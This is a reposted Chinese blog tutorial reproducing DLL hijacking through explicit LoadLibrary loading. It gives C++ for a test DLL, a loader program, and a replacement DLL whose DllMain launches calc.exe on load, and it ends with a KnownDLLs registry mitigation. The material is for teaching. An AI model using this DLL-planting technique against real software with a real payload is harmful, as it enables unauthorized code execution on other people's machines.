DLL劫持复现记录(显式加载)

admin 2026-01-09 02:54:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了DLL显式加载劫持的复现过程,利用LoadLibrary机制加载恶意DLL。文中详细演示了在VisualStudio中编写弹出计算器的恶意代码及替换步骤,并利用ProcessExplorer监控加载。最后给出了通过注册表KnownDLLs限制加载路径的修复建议。 综合评分: 80 文章分类: 渗透测试,漏洞分析,红队


cover_image

DLL 劫持复现记录(显式加载)

原创

huan666

huan666

2026年1月8日 19:01 北京

相关代码来源于互联网,适用于新手小白,大佬绕行!!!

一、显式加载原理

程序在运行过程中,通过主动调用Windows API函数,比如LoadLibrary,来加载指定的DLL,再通过GetProcAddress获取 DLL 中函数的地址,最后手动调用函数FreeLibrary、释放 DLL。

二、环境搭建

编辑器:Visual Studio

进程查看工具:process-explorer

下载地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

创建DLL1.dll:

1、新建动态链接库(DLL)项目–>下一步–>默认–>创建项目

2、修改dllmain.cpp文件

#include "pch.h"
// 定义原DLL的核心函数:DLL1已被成功加载!!!void dllmsg() {    MessageBox(0, L"DLL1已被成功加载!!!", L"Good", 0);}
// DLL入口函数(默认生成,无需修改)BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

3、修改framework.h文件

添加 Windows 头文件和函数导出声明(让外部 EXE 能调用dllmsg()函数)

#pragma&nbsp;once#define&nbsp;WIN32_LEAN_AND_MEAN &nbsp;// 从 Windows 头文件中排除极少使用的内容#include&nbsp;<windows.h>&nbsp;&nbsp;// 包含MessageBox所需的Windows API头文件
// 导出msg函数:extern "C"避免C++名字粉碎,__declspec(dllexport)标记为导出函数extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;void&nbsp;dllmsg(void);

4、点击生成-生成解决方案,编译生成dll文件,先选择Release,再生成解决方案

dll文件路径,在控制台日志中可查看。

创建ConsoleApplication1.exe:

1、创建新项目–>控制台应用–>下一步–>创建

2、编辑ConsoleApplication1.cpp文件

#include&nbsp;<iostream>#include&nbsp;<Windows.h>using&nbsp;namespace&nbsp;std;
int&nbsp;main(){&nbsp; &nbsp;&nbsp;// 定义函数指针类型,匹配msg()的参数和返回值&nbsp; &nbsp;&nbsp;typedef&nbsp;void(*DLLFUNC)(void);&nbsp; &nbsp; DLLFUNC GetDllfunc =&nbsp;NULL;
&nbsp; &nbsp;&nbsp;// 动态加载Dll1.dll(需确保EXE与DLL在同一目录)&nbsp; &nbsp; HINSTANCE hinst =&nbsp;LoadLibrary(L"Dll1.dll");&nbsp; &nbsp;&nbsp;if&nbsp;(hinst !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取DLL中导出函数msg的地址&nbsp; &nbsp; &nbsp; &nbsp; GetDllfunc = (DLLFUNC)GetProcAddress(hinst,&nbsp;"dllmsg");&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 调用dllmsg()函数(若获取地址成功)&nbsp; &nbsp;&nbsp;if&nbsp;(GetDllfunc !=&nbsp;NULL) {&nbsp; &nbsp; &nbsp; &nbsp; (*GetDllfunc)();&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

3、点击生成–>生成解决方案

将ConsoleApplication1.exe和Dll1.dll放在同一目录

运行ConsoleApplication1.exe,Dll1.dll已被加载

三、劫持复现

运行process-explorer,查看ConsoleApplication1.exe加载哪些DLL文件

点击View–>Show Lower Pane,可查看加载的DLL文件

通过加载的DLL,发现C:\Users\huan666-pc\Desktop\test\Dll1.dll

被加载,并且在当前程序目录下,修改Dll1.dll文件为执行任意系统命令。

编写一个弹出计算器的DLL文件,文件名最后改为Dll1.dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include&nbsp;"pch.h"// 包含Windows API头文件,用于调用系统函数#include&nbsp;<Windows.h>
// 定义弹出计算器的函数void&nbsp;OpenCalculator()&nbsp;{&nbsp; &nbsp;&nbsp;// 核心API:WinExec 执行系统命令,calc.exe是计算器程序&nbsp; &nbsp;&nbsp;// SW_SHOW:显示计算器窗口(不隐藏)&nbsp; &nbsp;&nbsp;// 注意:WinExec在新系统中仍可用,也可以用CreateProcess(更推荐,后面会补充)&nbsp; &nbsp;&nbsp;WinExec("calc.exe", SW_SHOW);
&nbsp; &nbsp;&nbsp;// 【可选】更健壮的写法(替代WinExec,推荐)&nbsp; &nbsp;&nbsp;/*&nbsp; &nbsp; STARTUPINFO si = { 0 };&nbsp; &nbsp; PROCESS_INFORMATION pi = { 0 };&nbsp; &nbsp; si.cb = sizeof(STARTUPINFO);&nbsp; &nbsp; // 创建新进程运行计算器&nbsp; &nbsp; CreateProcessA(NULL, "calc.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);&nbsp; &nbsp; // 关闭进程/线程句柄,释放资源&nbsp; &nbsp; CloseHandle(pi.hProcess);&nbsp; &nbsp; CloseHandle(pi.hThread);&nbsp; &nbsp; */}
BOOL APIENTRY&nbsp;DllMain(HMODULE hModule,&nbsp; &nbsp; DWORD &nbsp;ul_reason_for_call,&nbsp; &nbsp; LPVOID lpReserved){&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// DLL被进程加载时,执行弹出计算器的函数&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OpenCalculator();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

编译成DLL文件后,复制到劫持复现的目录下

四、修复方案

注册表中修改,打开注册表:WIN+R–>regedit

\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径下定义加载的DLL,该目录下的DLL文件就会被禁止从EXE自身目录调用,而只能从系统目录加载。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:huan666 huan666《DLL 劫持复现记录(显式加载)》

评论:0   参与:  0